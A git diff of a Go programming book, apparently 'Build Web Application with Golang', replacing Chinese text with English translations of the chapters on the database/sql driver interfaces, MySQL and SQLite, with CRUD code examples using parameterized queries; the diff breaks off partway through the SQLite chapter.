-Begin函数返回一个代表事务处理的Tx,通过它你可以进行查询,更新等操作,或者对事务进行回滚、递交。 - -## driver.Stmt -Stmt是一种准备好的状态,和Conn相关联,而且只能应用于一个goroutine中,不能应用于多个goroutine。 - - type Stmt interface { - Close() error - NumInput() int - Exec(args []Value) (Result, error) - Query(args []Value) (Rows, error) - } - -Close函数关闭当前的链接状态,但是如果当前正在执行query,query还是有效返回rows数据。 - -NumInput函数返回当前预留参数的个数,当返回>=0时数据库驱动就会智能检查调用者的参数。当数据库驱动包不知道预留参数的时候,返回-1。 - -Exec函数执行Prepare准备好的sql,传入参数执行update/insert等操作,返回Result数据 - -Query函数执行Prepare准备好的sql,传入需要的参数执行select操作,返回Rows结果集 - - -## driver.Tx -事务处理一般就两个过程,递交或者回滚。数据库驱动里面也只需要实现这两个函数就可以 - - type Tx interface { - Commit() error - Rollback() error - } - -这两个函数一个用来递交一个事务,一个用来回滚事务。 - -## driver.Execer -这是一个Conn可选择实现的接口 - - type Execer interface { - Exec(query string, args []Value) (Result, error) - } - -如果这个接口没有定义,那么在调用DB.Exec,就会首先调用Prepare返回Stmt,然后执行Stmt的Exec,然后关闭Stmt。 - -## driver.Result -这个是执行Update/Insert等操作返回的结果接口定义 - - type Result interface { - LastInsertId() (int64, error) - RowsAffected() (int64, error) - } - -LastInsertId函数返回由数据库执行插入操作得到的自增ID号。 - -RowsAffected函数返回query操作影响的数据条目数。 - -## driver.Rows -Rows是执行查询返回的结果集接口定义 - - type Rows interface { - Columns() []string - Close() error - Next(dest []Value) error - } - -Columns函数返回查询数据库表的字段信息,这个返回的slice和sql查询的字段一一对应,而不是返回整个表的所有字段。 - -Close函数用来关闭Rows迭代器。 - -Next函数用来返回下一条数据,把数据赋值给dest。dest里面的元素必须是driver.Value的值除了string,返回的数据里面所有的string都必须要转换成[]byte。如果最后没数据了,Next函数最后返回io.EOF。 - - -## driver.RowsAffected -RowsAffected其实就是一个int64的别名,但是他实现了Result接口,用来底层实现Result的表示方式 - - type RowsAffected int64 - - func (RowsAffected) LastInsertId() (int64, error) - - func (v RowsAffected) RowsAffected() (int64, error) - -## driver.Value -Value其实就是一个空接口,他可以容纳任何的数据 - - type Value interface{} - -drive的Value是驱动必须能够操作的Value,Value要么是nil,要么是下面的任意一种 - - int64 - float64 - bool - []byte - string [*]除了Rows.Next返回的不能是string. - time.Time - -## driver.ValueConverter -ValueConverter接口定义了如何把一个普通的值转化成driver.Value的接口 - - type ValueConverter interface { - ConvertValue(v interface{}) (Value, error) - } - -在开发的数据库驱动包里面实现这个接口的函数在很多地方会使用到,这个ValueConverter有很多好处: - -- 转化driver.value到数据库表相应的字段,例如int64的数据如何转化成数据库表uint16字段 -- 把数据库查询结果转化成driver.Value值 -- 在scan函数里面如何把driver.Value值转化成用户定义的值 - -## driver.Valuer -Valuer接口定义了返回一个driver.Value的方式 - - type Valuer interface { - Value() (Value, error) - } - -很多类型都实现了这个Value方法,用来自身与driver.Value的转化。 - -通过上面的讲解,你应该对于驱动的开发有了一个基本的了解,一个驱动只要实现了这些接口就能完成增删查改等基本操作了,剩下的就是与相应的数据库进行数据交互等细节问题了,在此不再赘述。 - -## database/sql -database/sql在database/sql/driver提供的接口基础上定义了一些更高阶的方法,用以简化数据库操作,同时内部还建议性地实现一个conn pool。 - - type DB struct { - driver driver.Driver - dsn string - mu sync.Mutex // protects freeConn and closed - freeConn []driver.Conn - closed bool - } - -我们可以看到Open函数返回的是DB对象,里面有一个freeConn,它就是那个简易的连接池。它的实现相当简单或者说简陋,就是当执行Db.prepare的时候会`defer db.putConn(ci, err)`,也就是把这个连接放入连接池,每次调用conn的时候会先判断freeConn的长度是否大于0,大于0说明有可以复用的conn,直接拿出来用就是了,如果不大于0,则创建一个conn,然后再返回之。 - - -## links - * [目录]() - * 上一节: [访问数据库](<05.0.md>) - * 下一节: [使用MySQL数据库](<05.2.md>) +# 5.1 database/sql interface + +Go doesn't provide any official database drivers, unlike other languages like PHP which do. However, it does have some database driver interface standards for developers to develop database drivers with. The advantage is that if your code is developed according to these interface standards, you will not need to change any code if your database changes. Let's see what these database interface standards are. + +## sql.Register + +This function is in the `database/sql` package for registering database drivers when you use third-party database drivers. All of these should call the `Register(name string, driver driver.Driver)` function in `init()` in order to register themselves. + +Let's take a look at the corresponding mymysql and sqlite3 driver code: + + //https://github.com/mattn/go-sqlite3 driver + func init() { + sql.Register("sqlite3", &SQLiteDriver{}) + } + + //https://github.com/mikespook/mymysql driver + // Driver automatically registered in database/sql + var d = Driver{proto: "tcp", raddr: "127.0.0.1:3306"} + func init() { + Register("SET NAMES utf8") + sql.Register("mymysql", &d) + } + +We see that all third-party database drivers have implemented this function to register themselves, and Go uses a map to save user drivers inside of `databse/sql`. + + var drivers = make(map[string]driver.Driver) + + drivers[name] = driver + +Therefore, this register function can register drivers as many as you want with different names. + +We always see the following code when we use third-party drivers: + + import ( + "database/sql" + _ "github.com/mattn/go-sqlite3" + ) + +Here the underscore (also known as a 'blank') `_` can be quite confusing for many beginners, but this is a great feature in Go. We already know that this identifier is for discarding values from function returns, and also that you must use all packages that you've imported in your code in Go. So when the blank is used with import, it means that you need to execute the init() function of that package without directly using it, which exactly fits the use-case for registering database drivers. + +## driver.Driver + +`Driver` is an interface containing an `Open(name string)` method that returns a `Conn` interface. + + type Driver interface { + Open(name string) (Conn, error) + } + +This is a one-time Conn, which means it can only be used once in one goroutine. The following code will cause errors to occur: + + ... + go goroutineA (Conn) // query + go goroutineB (Conn) // insert + ... + +Because Go has no idea which goroutine does what operation, the query operation may get the result of the insert operation, and vice-versa. + +All third-party drivers should have this function to parse the name of Conn and return the correct results. + +## driver.Conn + +This is a database connection interface with some methods, and as i've said above, the same Conn can only be used in one goroutine. + + type Conn interface { + Prepare(query string) (Stmt, error) + Close() error + Begin() (Tx, error) + } + +- `Prepare` returns the prepare status of corresponding SQL commands for querying and deleting, etc. +- `Close` closes the current connection and cleans resources. Most third-party drivers implement some kind of connection pool, so you don't need to cache connections unless you want to have unexpected errors. +- `Begin` returns a Tx that represents a transaction handle. You can use it for querying, updating, rolling back transactions, etc. + +## driver.Stmt + +This is a ready status that corresponds with Conn, so it can only be used in one goroutine like Conn. + + type Stmt interface { + Close() error + NumInput() int + Exec(args []Value) (Result, error) + Query(args []Value) (Rows, error) + } + +- `Close` closes the current connection but still returns row data if it is executing a query operation. +- `NumInput` returns the number of obligate arguments. Database drivers should check their caller's arguments when the result is greater than 0, and it returns -1 when database drivers don't know any obligate argument. +- `Exec` executes the `update/insert` SQL commands prepared in `Prepare`, returns `Result`. +- `Query` executes the `select` SQL command prepared in `Prepare`, returns row data. + +## driver.Tx + +Generally, transaction handles only have submit or rollback methods, and database drivers only need to implement these two methods. + + type Tx interface { + Commit() error + Rollback() error + } + +## driver.Execer + +This is an optional interface. + + type Execer interface { + Exec(query string, args []Value) (Result, error) + } + +If the driver doesn't implement this interface, when you call DB.Exec, it will automatically call Prepare, then return Stmt. After that it executes the Exec method of Stmt, then closes Stmt. + +## driver.Result + +This is the interface for results of `update/insert` operations. + + type Result interface { + LastInsertId() (int64, error) + RowsAffected() (int64, error) + } + +- `LastInsertId` returns auto-increment Id number after a database insert operation. +- `RowsAffected` returns rows that were affected by query operations. + +## driver.Rows + +This is the interface for the result of a query operation. + + type Rows interface { + Columns() []string + Close() error + Next(dest []Value) error + } + +- `Columns` returns field information of database tables. The slice has a one-to-one correspondence with SQL query fields only, and does not return all fields of that database table. +- `Close` closes Rows iterator. +- `Next` returns next data and assigns to dest, converting all strings into byte arrays, and gets io.EOF error if no more data is available. + +## driver.RowsAffected + +This is an alias of int64, but it implements the Result interface. + + type RowsAffected int64 + + func (RowsAffected) LastInsertId() (int64, error) + + func (v RowsAffected) RowsAffected() (int64, error) + +## driver.Value + +This is an empty interface that can contains any kind of data. + + type Value interface{} + +The Value must be something that drivers can operate on or nil, so it should be one of following types: + + int64 + float64 + bool + []byte + string [*] Except Rows.Next which cannot return string + time.Time + +## driver.ValueConverter + +This defines an interface for converting normal values to driver.Value. + + type ValueConverter interface { + ConvertValue(v interface{}) (Value, error) + } + +This interface is commonly used in database drivers and has many useful features: + +- Converts driver.Value to a corresponding database field type, for example converts int64 to uint16. +- Converts database query results to driver.Value. +- Converts driver.Value to a user defined value in the `scan` function. + +## driver.Valuer + +This defines an interface for returning driver.Value. + + type Valuer interface { + Value() (Value, error) + } + +Many types implement this interface for conversion between driver.Value and itself. + +At this point, you should know a bit about developping database drivers in Go. Once you can implement interfaces for operations like add, delete, update, etc., there are only a few problems left related to communicating with specific databases. + +## database/sql + +databse/sql defines even more high-level methods on top of database/sql/driver for more convenient database operations, and it suggests that you implement a connection pool. + + type DB struct { + driver driver.Driver + dsn string + mu sync.Mutex // protects freeConn and closed + freeConn []driver.Conn + closed bool + } + +As you can see, the `Open` function returns a DB that has a freeConn, and this is a simple connection pool. Its implementation is very simple and ugly. It uses `defer db.putConn(ci, err)` in the Db.prepare function to put a connection into the connection pool. Everytime you call the Conn function, it checks the length of freeCoon. If it's greater than 0, that means there is a reusable connection and it directly returns to you. Otherwise it creates a new connection and returns. + +## Links + +- [Directory](preface.md) +- Previous section: [Database](05.0.md) +- Next section: [MySQL](05.2.md) diff --git a/en/05.1.md~380a8ee74c41759d8189ad553423467994187253 b/en/05.1.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..44a8207d --- /dev/null +++ b/en/05.1.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,204 @@ +# 5.1 database/sql接口 +Go与PHP不同的地方是Go官方没有提供数据库驱动,而是为开发数据库驱动定义了一些标准接口,开发者可以根据定义的接口来开发相应的数据库驱动,这样做有一个好处,只要是按照标准接口开发的代码, 以后需要迁移数据库时,不需要任何修改。那么Go都定义了哪些标准接口呢?让我们来详细的分析一下 + +## sql.Register +这个存在于database/sql的函数是用来注册数据库驱动的,当第三方开发者开发数据库驱动时,都会实现init函数,在init里面会调用这个`Register(name string, driver driver.Driver)`完成本驱动的注册。 + +我们来看一下mymysql、sqlite3的驱动里面都是怎么调用的: + + //https://github.com/mattn/go-sqlite3驱动 + func init() { + sql.Register("sqlite3", &SQLiteDriver{}) + } + + //https://github.com/mikespook/mymysql驱动 + // Driver automatically registered in database/sql + var d = Driver{proto: "tcp", raddr: "127.0.0.1:3306"} + func init() { + Register("SET NAMES utf8") + sql.Register("mymysql", &d) + } + +我们看到第三方数据库驱动都是通过调用这个函数来注册自己的数据库驱动名称以及相应的driver实现。在database/sql内部通过一个map来存储用户定义的相应驱动。 + + var drivers = make(map[string]driver.Driver) + + drivers[name] = driver + +因此通过database/sql的注册函数可以同时注册多个数据库驱动,只要不重复。 + +>在我们使用database/sql接口和第三方库的时候经常看到如下: + +> import ( +> "database/sql" +> _ "github.com/mattn/go-sqlite3" +> ) + +>新手都会被这个`_`所迷惑,其实这个就是Go设计的巧妙之处,我们在变量赋值的时候经常看到这个符号,它是用来忽略变量赋值的占位符,那么包引入用到这个符号也是相似的作用,这儿使用`_`的意思是引入后面的包名而不直接使用这个包中定义的函数,变量等资源。 + +>我们在2.3节流程和函数一节中介绍过init函数的初始化过程,包在引入的时候会自动调用包的init函数以完成对包的初始化。因此,我们引入上面的数据库驱动包之后会自动去调用init函数,然后在init函数里面注册这个数据库驱动,这样我们就可以在接下来的代码中直接使用这个数据库驱动了。 + +## driver.Driver +Driver是一个数据库驱动的接口,他定义了一个method: Open(name string),这个方法返回一个数据库的Conn接口。 + + type Driver interface { + Open(name string) (Conn, error) + } + +返回的Conn只能用来进行一次goroutine的操作,也就是说不能把这个Conn应用于Go的多个goroutine里面。如下代码会出现错误 + + ... + go goroutineA (Conn) //执行查询操作 + go goroutineB (Conn) //执行插入操作 + ... + +上面这样的代码可能会使Go不知道某个操作究竟是由哪个goroutine发起的,从而导致数据混乱,比如可能会把goroutineA里面执行的查询操作的结果返回给goroutineB从而使B错误地把此结果当成自己执行的插入数据。 + +第三方驱动都会定义这个函数,它会解析name参数来获取相关数据库的连接信息,解析完成后,它将使用此信息来初始化一个Conn并返回它。 + +## driver.Conn +Conn是一个数据库连接的接口定义,他定义了一系列方法,这个Conn只能应用在一个goroutine里面,不能使用在多个goroutine里面,详情请参考上面的说明。 + + type Conn interface { + Prepare(query string) (Stmt, error) + Close() error + Begin() (Tx, error) + } + +Prepare函数返回与当前连接相关的执行Sql语句的准备状态,可以进行查询、删除等操作。 + +Close函数关闭当前的连接,执行释放连接拥有的资源等清理工作。因为驱动实现了database/sql里面建议的conn pool,所以你不用再去实现缓存conn之类的,这样会容易引起问题。 + +Begin函数返回一个代表事务处理的Tx,通过它你可以进行查询,更新等操作,或者对事务进行回滚、递交。 + +## driver.Stmt +Stmt是一种准备好的状态,和Conn相关联,而且只能应用于一个goroutine中,不能应用于多个goroutine。 + + type Stmt interface { + Close() error + NumInput() int + Exec(args []Value) (Result, error) + Query(args []Value) (Rows, error) + } + +Close函数关闭当前的链接状态,但是如果当前正在执行query,query还是有效返回rows数据。 + +NumInput函数返回当前预留参数的个数,当返回>=0时数据库驱动就会智能检查调用者的参数。当数据库驱动包不知道预留参数的时候,返回-1。 + +Exec函数执行Prepare准备好的sql,传入参数执行update/insert等操作,返回Result数据 + +Query函数执行Prepare准备好的sql,传入需要的参数执行select操作,返回Rows结果集 + + +## driver.Tx +事务处理一般就两个过程,递交或者回滚。数据库驱动里面也只需要实现这两个函数就可以 + + type Tx interface { + Commit() error + Rollback() error + } + +这两个函数一个用来递交一个事务,一个用来回滚事务。 + +## driver.Execer +这是一个Conn可选择实现的接口 + + type Execer interface { + Exec(query string, args []Value) (Result, error) + } + +如果这个接口没有定义,那么在调用DB.Exec,就会首先调用Prepare返回Stmt,然后执行Stmt的Exec,然后关闭Stmt。 + +## driver.Result +这个是执行Update/Insert等操作返回的结果接口定义 + + type Result interface { + LastInsertId() (int64, error) + RowsAffected() (int64, error) + } + +LastInsertId函数返回由数据库执行插入操作得到的自增ID号。 + +RowsAffected函数返回query操作影响的数据条目数。 + +## driver.Rows +Rows是执行查询返回的结果集接口定义 + + type Rows interface { + Columns() []string + Close() error + Next(dest []Value) error + } + +Columns函数返回查询数据库表的字段信息,这个返回的slice和sql查询的字段一一对应,而不是返回整个表的所有字段。 + +Close函数用来关闭Rows迭代器。 + +Next函数用来返回下一条数据,把数据赋值给dest。dest里面的元素必须是driver.Value的值除了string,返回的数据里面所有的string都必须要转换成[]byte。如果最后没数据了,Next函数最后返回io.EOF。 + + +## driver.RowsAffected +RowsAffected其实就是一个int64的别名,但是他实现了Result接口,用来底层实现Result的表示方式 + + type RowsAffected int64 + + func (RowsAffected) LastInsertId() (int64, error) + + func (v RowsAffected) RowsAffected() (int64, error) + +## driver.Value +Value其实就是一个空接口,他可以容纳任何的数据 + + type Value interface{} + +drive的Value是驱动必须能够操作的Value,Value要么是nil,要么是下面的任意一种 + + int64 + float64 + bool + []byte + string [*]除了Rows.Next返回的不能是string. + time.Time + +## driver.ValueConverter +ValueConverter接口定义了如何把一个普通的值转化成driver.Value的接口 + + type ValueConverter interface { + ConvertValue(v interface{}) (Value, error) + } + +在开发的数据库驱动包里面实现这个接口的函数在很多地方会使用到,这个ValueConverter有很多好处: + +- 转化driver.value到数据库表相应的字段,例如int64的数据如何转化成数据库表uint16字段 +- 把数据库查询结果转化成driver.Value值 +- 在scan函数里面如何把driver.Value值转化成用户定义的值 + +## driver.Valuer +Valuer接口定义了返回一个driver.Value的方式 + + type Valuer interface { + Value() (Value, error) + } + +很多类型都实现了这个Value方法,用来自身与driver.Value的转化。 + +通过上面的讲解,你应该对于驱动的开发有了一个基本的了解,一个驱动只要实现了这些接口就能完成增删查改等基本操作了,剩下的就是与相应的数据库进行数据交互等细节问题了,在此不再赘述。 + +## database/sql +database/sql在database/sql/driver提供的接口基础上定义了一些更高阶的方法,用以简化数据库操作,同时内部还建议性地实现一个conn pool。 + + type DB struct { + driver driver.Driver + dsn string + mu sync.Mutex // protects freeConn and closed + freeConn []driver.Conn + closed bool + } + +我们可以看到Open函数返回的是DB对象,里面有一个freeConn,它就是那个简易的连接池。它的实现相当简单或者说简陋,就是当执行Db.prepare的时候会`defer db.putConn(ci, err)`,也就是把这个连接放入连接池,每次调用conn的时候会先判断freeConn的长度是否大于0,大于0说明有可以复用的conn,直接拿出来用就是了,如果不大于0,则创建一个conn,然后再返回之。 + + +## links + * [目录]() + * 上一节: [访问数据库](<05.0.md>) + * 下一节: [使用MySQL数据库](<05.2.md>) diff --git a/en/05.2.md b/en/05.2.md index 7a94b5cf..31a62247 100644 --- a/en/05.2.md +++ b/en/05.2.md @@ -1,137 +1,126 @@ -# 5.2 使用MySQL数据库 -目前Internet上流行的网站构架方式是LAMP,其中的M即MySQL, 作为数据库,MySQL以免费、开源、使用方便为优势成为了很多Web开发的后端数据库存储引擎。 - -## MySQL驱动 -Go中支持MySQL的驱动目前比较多,有如下几种,有些是支持database/sql标准,而有些是采用了自己的实现接口,常用的有如下几种: - -- https://github.com/go-sql-driver/mysql 支持database/sql,全部采用go写。 -- https://github.com/ziutek/mymysql 支持database/sql,也支持自定义的接口,全部采用go写。 -- https://github.com/Philio/GoMySQL 不支持database/sql,自定义接口,全部采用go写。 - -接下来的例子我主要以第一个驱动为例(我目前项目中也是采用它来驱动),也推荐大家采用它,主要理由: - -- 这个驱动比较新,维护的比较好 -- 完全支持database/sql接口 -- 支持keepalive,保持长连接,虽然[星星](http://www.mikespook.com)fork的mymysql也支持keepalive,但不是线程安全的,这个从底层就支持了keepalive。 - -## 示例代码 -接下来的几个小节里面我们都将采用同一个数据库表结构:数据库test,用户表userinfo,关联用户信息表userdetail。 - - CREATE TABLE `userinfo` ( - `uid` INT(10) NOT NULL AUTO_INCREMENT, - `username` VARCHAR(64) NULL DEFAULT NULL, - `departname` VARCHAR(64) NULL DEFAULT NULL, - `created` DATE NULL DEFAULT NULL, - PRIMARY KEY (`uid`) - ) - - CREATE TABLE `userdetail` ( - `uid` INT(10) NOT NULL DEFAULT '0', - `intro` TEXT NULL, - `profile` TEXT NULL, - PRIMARY KEY (`uid`) - ) - -如下示例将示范如何使用database/sql接口对数据库表进行增删改查操作 - - package main - - import ( - _ "github.com/go-sql-driver/mysql" - "database/sql" - "fmt" - //"time" - ) - - func main() { - db, err := sql.Open("mysql", "astaxie:astaxie@/test?charset=utf8") - checkErr(err) - - //插入数据 - stmt, err := db.Prepare("INSERT userinfo SET username=?,departname=?,created=?") - checkErr(err) - - res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09") - checkErr(err) - - id, err := res.LastInsertId() - checkErr(err) - - fmt.Println(id) - //更新数据 - stmt, err = db.Prepare("update userinfo set username=? where uid=?") - checkErr(err) - - res, err = stmt.Exec("astaxieupdate", id) - checkErr(err) - - affect, err := res.RowsAffected() - checkErr(err) - - fmt.Println(affect) - - //查询数据 - rows, err := db.Query("SELECT * FROM userinfo") - checkErr(err) - - for rows.Next() { - var uid int - var username string - var department string - var created string - err = rows.Scan(&uid, &username, &department, &created) - checkErr(err) - fmt.Println(uid) - fmt.Println(username) - fmt.Println(department) - fmt.Println(created) - } - - //删除数据 - stmt, err = db.Prepare("delete from userinfo where uid=?") - checkErr(err) - - res, err = stmt.Exec(id) - checkErr(err) - - affect, err = res.RowsAffected() - checkErr(err) - - fmt.Println(affect) - - db.Close() - - } - - func checkErr(err error) { - if err != nil { - panic(err) - } - } - - -通过上面的代码我们可以看出,Go操作Mysql数据库是很方便的。 - -关键的几个函数我解释一下: - -sql.Open()函数用来打开一个注册过的数据库驱动,go-sql-driver中注册了mysql这个数据库驱动,第二个参数是DSN(Data Source Name),它是go-sql-driver定义的一些数据库链接和配置信息。它支持如下格式: - - user@unix(/path/to/socket)/dbname?charset=utf8 - user:password@tcp(localhost:5555)/dbname?charset=utf8 - user:password@/dbname - user:password@tcp([de:ad:be:ef::ca:fe]:80)/dbname - -db.Prepare()函数用来返回准备要执行的sql操作,然后返回准备完毕的执行状态。 - -db.Query()函数用来直接执行Sql返回Rows结果。 - -stmt.Exec()函数用来执行stmt准备好的SQL语句 - -我们可以看到我们传入的参数都是=?对应的数据,这样做的方式可以一定程度上防止SQL注入。 - - - -## links - * [目录]() - * 上一节: [database/sql接口](<05.1.md>) - * 下一节: [使用SQLite数据库](<05.3.md>) +# 5.2 MySQL + +The LAMP stack has been very popular on the internet in recent years, and the M in LAMP stand for MySQL. MySQL is famous because it's open source and easy to use. As such, it became the defacto database in the back-ends of many websites. + +## MySQL drivers + +There are a couple of drivers that support MySQL in Go. Some of them implement the `database/sql` interface, and others use their own interface standards. + +- [https://github.com/go-sql-driver/mysql](https://github.com/go-sql-driver/mysql) supports `database/sql`, written in pure Go. +- [https://github.com/ziutek/mymysql](https://github.com/ziutek/mymysql) supports `database/sql` and user defined interfaces, written in pure Go. +- [https://github.com/Philio/GoMySQL](https://github.com/Philio/GoMySQL) only supports user defined interfaces, written in pure Go. + +I'll use the first driver in the following examples (I use this one in my personal projects too), and I also recommend that you use it for the following reasons: + +- It's a new database driver and supports more features. +- Fully supports `databse/sql` interface standards. +- Supports keepalive, long connections with thread-safety. + +## Samples + +In the following sections, I'll use the same database table structure for different databases, then create SQL as follows: + + CREATE TABLE `userinfo` ( + `uid` INT(10) NOT NULL AUTO_INCREMENT, + `username` VARCHAR(64) NULL DEFAULT NULL, + `departname` VARCHAR(64) NULL DEFAULT NULL, + `created` DATE NULL DEFAULT NULL, + PRIMARY KEY (`uid`) + ); + +The following example shows how to operate on a database based on the `database/sql` interface standards. + + package main + + import ( + _ "github.com/go-sql-driver/mysql" + "database/sql" + "fmt" + ) + + func main() { + db, err := sql.Open("mysql", "astaxie:astaxie@/test?charset=utf8") + checkErr(err) + + // insert + stmt, err := db.Prepare("INSERT userinfo SET username=?,departname=?,created=?") + checkErr(err) + + res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09") + checkErr(err) + + id, err := res.LastInsertId() + checkErr(err) + + fmt.Println(id) + // update + stmt, err = db.Prepare("update userinfo set username=? where uid=?") + checkErr(err) + + res, err = stmt.Exec("astaxieupdate", id) + checkErr(err) + + affect, err := res.RowsAffected() + checkErr(err) + + fmt.Println(affect) + + // query + rows, err := db.Query("SELECT * FROM userinfo") + checkErr(err) + + for rows.Next() { + var uid int + var username string + var department string + var created string + err = rows.Scan(&uid, &username, &department, &created) + checkErr(err) + fmt.Println(uid) + fmt.Println(username) + fmt.Println(department) + fmt.Println(created) + } + + // delete + stmt, err = db.Prepare("delete from userinfo where uid=?") + checkErr(err) + + res, err = stmt.Exec(id) + checkErr(err) + + affect, err = res.RowsAffected() + checkErr(err) + + fmt.Println(affect) + + db.Close() + + } + + func checkErr(err error) { + if err != nil { + panic(err) + } + } + +Let me explain a few of the important functions here: + +- `sql.Open()` opens a registered database driver. The Go-MySQL-Driver registered the mysql driver here. The second argument is the DSN (Data Source Name) that defines information pertaining to the database connection. It supports following formats: + + user@unix(/path/to/socket)/dbname?charset=utf8 + user:password@tcp(localhost:5555)/dbname?charset=utf8 + user:password@/dbname + user:password@tcp([de:ad:be:ef::ca:fe]:80)/dbname + +- `db.Prepare()` returns a SQL operation that is going to be executed. It also returns the execution status after executing SQL. +- `db.Query()` executes SQL and returns a Rows result. +- `stmt.Exec()` executes SQL that has been prepared and stored in Stmt. + +Note that we use the format `=?` to pass arguments. This is necessary for preventing SQL injection attacks. + +## Links + +- [Directory](preface.md) +- Previous section: [database/sql interface](05.1.md) +- Next section: [SQLite](05.3.md) diff --git a/en/05.2.md~380a8ee74c41759d8189ad553423467994187253 b/en/05.2.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..cbf68ca1 --- /dev/null +++ b/en/05.2.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,137 @@ +# 5.2 使用MySQL数据库 +目前Internet上流行的网站构架方式是LAMP,其中的M即MySQL, 作为数据库,MySQL以免费、开源、使用方便为优势成为了很多Web开发的后端数据库存储引擎。 + +## MySQL驱动 +Go中支持MySQL的驱动目前比较多,有如下几种,有些是支持database/sql标准,而有些是采用了自己的实现接口,常用的有如下几种: + +- https://github.com/go-sql-driver/mysql 支持database/sql,全部采用go写。 +- https://github.com/ziutek/mymysql 支持database/sql,也支持自定义的接口,全部采用go写。 +- https://github.com/Philio/GoMySQL 不支持database/sql,自定义接口,全部采用go写。 + +接下来的例子我主要以第一个驱动为例(我目前项目中也是采用它来驱动),也推荐大家采用它,主要理由: + +- 这个驱动比较新,维护的比较好 +- 完全支持database/sql接口 +- 支持keepalive,保持长连接,虽然[星星](http://www.mikespook.com)fork的mymysql也支持keepalive,但不是线程安全的,这个从底层就支持了keepalive。 + +## 示例代码 +接下来的几个小节里面我们都将采用同一个数据库表结构:数据库test,用户表userinfo,关联用户信息表userdetail。 + + CREATE TABLE `userinfo` ( + `uid` INT(10) NOT NULL AUTO_INCREMENT, + `username` VARCHAR(64) NULL DEFAULT NULL, + `departname` VARCHAR(64) NULL DEFAULT NULL, + `created` DATE NULL DEFAULT NULL, + PRIMARY KEY (`uid`) + ) + + CREATE TABLE `userdetail` ( + `uid` INT(10) NOT NULL DEFAULT '0', + `intro` TEXT NULL, + `profile` TEXT NULL, + PRIMARY KEY (`uid`) + ) + +如下示例将示范如何使用database/sql接口对数据库表进行增删改查操作 + + package main + + import ( + _ "github.com/go-sql-driver/mysql" + "database/sql" + "fmt" + //"time" + ) + + func main() { + db, err := sql.Open("mysql", "astaxie:astaxie@/test?charset=utf8") + checkErr(err) + + //插入数据 + stmt, err := db.Prepare("INSERT userinfo SET username=?,departname=?,created=?") + checkErr(err) + + res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09") + checkErr(err) + + id, err := res.LastInsertId() + checkErr(err) + + fmt.Println(id) + //更新数据 + stmt, err = db.Prepare("update userinfo set username=? where uid=?") + checkErr(err) + + res, err = stmt.Exec("astaxieupdate", id) + checkErr(err) + + affect, err := res.RowsAffected() + checkErr(err) + + fmt.Println(affect) + + //查询数据 + rows, err := db.Query("SELECT * FROM userinfo") + checkErr(err) + + for rows.Next() { + var uid int + var username string + var department string + var created string + err = rows.Scan(&uid, &username, &department, &created) + checkErr(err) + fmt.Println(uid) + fmt.Println(username) + fmt.Println(department) + fmt.Println(created) + } + + //删除数据 + stmt, err = db.Prepare("delete from userinfo where uid=?") + checkErr(err) + + res, err = stmt.Exec(id) + checkErr(err) + + affect, err = res.RowsAffected() + checkErr(err) + + fmt.Println(affect) + + db.Close() + + } + + func checkErr(err error) { + if err != nil { + panic(err) + } + } + + +通过上面的代码我们可以看出,Go操作Mysql数据库是很方便的。 + +关键的几个函数我解释一下: + +sql.Open()函数用来打开一个注册过的数据库驱动,go-sql-driver中注册了mysql这个数据库驱动,第二个参数是DSN(Data Source Name),它是go-sql-driver定义的一些数据库链接和配置信息。它支持如下格式: + + user@unix(/path/to/socket)/dbname?charset=utf8 + user:password@tcp(localhost:5555)/dbname?charset=utf8 + user:password@/dbname + user:password@tcp([de:ad:be:ef::ca:fe]:80)/dbname + +db.Prepare()函数用来返回准备要执行的sql操作,然后返回准备完毕的执行状态。 + +db.Query()函数用来直接执行Sql返回Rows结果。 + +stmt.Exec()函数用来执行stmt准备好的SQL语句 + +我们可以看到我们传入的参数都是=?对应的数据,这样做的方式可以一定程度上防止SQL注入。 + + + +## links + * [目录]() + * 上一节: [database/sql接口](<05.1.md>) + * 下一节: [使用SQLite数据库](<05.3.md>) diff --git a/en/05.3.md b/en/05.3.md index 5fded718..e57aea92 100644 --- a/en/05.3.md +++ b/en/05.3.md @@ -1,119 +1,110 @@ -# 5.3 使用SQLite数据库 - -SQLite 是一个开源的嵌入式关系数据库,实现自包容、零配置、支持事务的SQL数据库引擎。其特点是高度便携、使用方便、结构紧凑、高效、可靠。 与其他数据库管理系统不同,SQLite 的安装和运行非常简单,在大多数情况下,只要确保SQLite的二进制文件存在即可开始创建、连接和使用数据库。如果您正在寻找一个嵌入式数据库项目或解决方案,SQLite是绝对值得考虑。SQLite可以是说开源的Access。 - -## 驱动 -Go支持sqlite的驱动也比较多,但是好多都是不支持database/sql接口的 - -- https://github.com/mattn/go-sqlite3 支持database/sql接口,基于cgo(关于cgo的知识请参看官方文档或者本书后面的章节)写的 -- https://github.com/feyeleanor/gosqlite3 不支持database/sql接口,基于cgo写的 -- https://github.com/phf/go-sqlite3 不支持database/sql接口,基于cgo写的 - -目前支持database/sql的SQLite数据库驱动只有第一个,我目前也是采用它来开发项目的。采用标准接口有利于以后出现更好的驱动的时候做迁移。 - -## 实例代码 -示例的数据库表结构如下所示,相应的建表SQL: - - CREATE TABLE `userinfo` ( - `uid` INTEGER PRIMARY KEY AUTOINCREMENT, - `username` VARCHAR(64) NULL, - `departname` VARCHAR(64) NULL, - `created` DATE NULL - ); - - CREATE TABLE `userdeatail` ( - `uid` INT(10) NULL, - `intro` TEXT NULL, - `profile` TEXT NULL, - PRIMARY KEY (`uid`) - ); - -看下面Go程序是如何操作数据库表数据:增删改查 - - package main - - import ( - "database/sql" - "fmt" - "time" - _ "github.com/mattn/go-sqlite3" - ) - - func main() { - db, err := sql.Open("sqlite3", "./foo.db") - checkErr(err) - - //插入数据 - stmt, err := db.Prepare("INSERT INTO userinfo(username, departname, created) values(?,?,?)") - checkErr(err) - - res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09") - checkErr(err) - - id, err := res.LastInsertId() - checkErr(err) - - fmt.Println(id) - //更新数据 - stmt, err = db.Prepare("update userinfo set username=? where uid=?") - checkErr(err) - - res, err = stmt.Exec("astaxieupdate", id) - checkErr(err) - - affect, err := res.RowsAffected() - checkErr(err) - - fmt.Println(affect) - - //查询数据 - rows, err := db.Query("SELECT * FROM userinfo") - 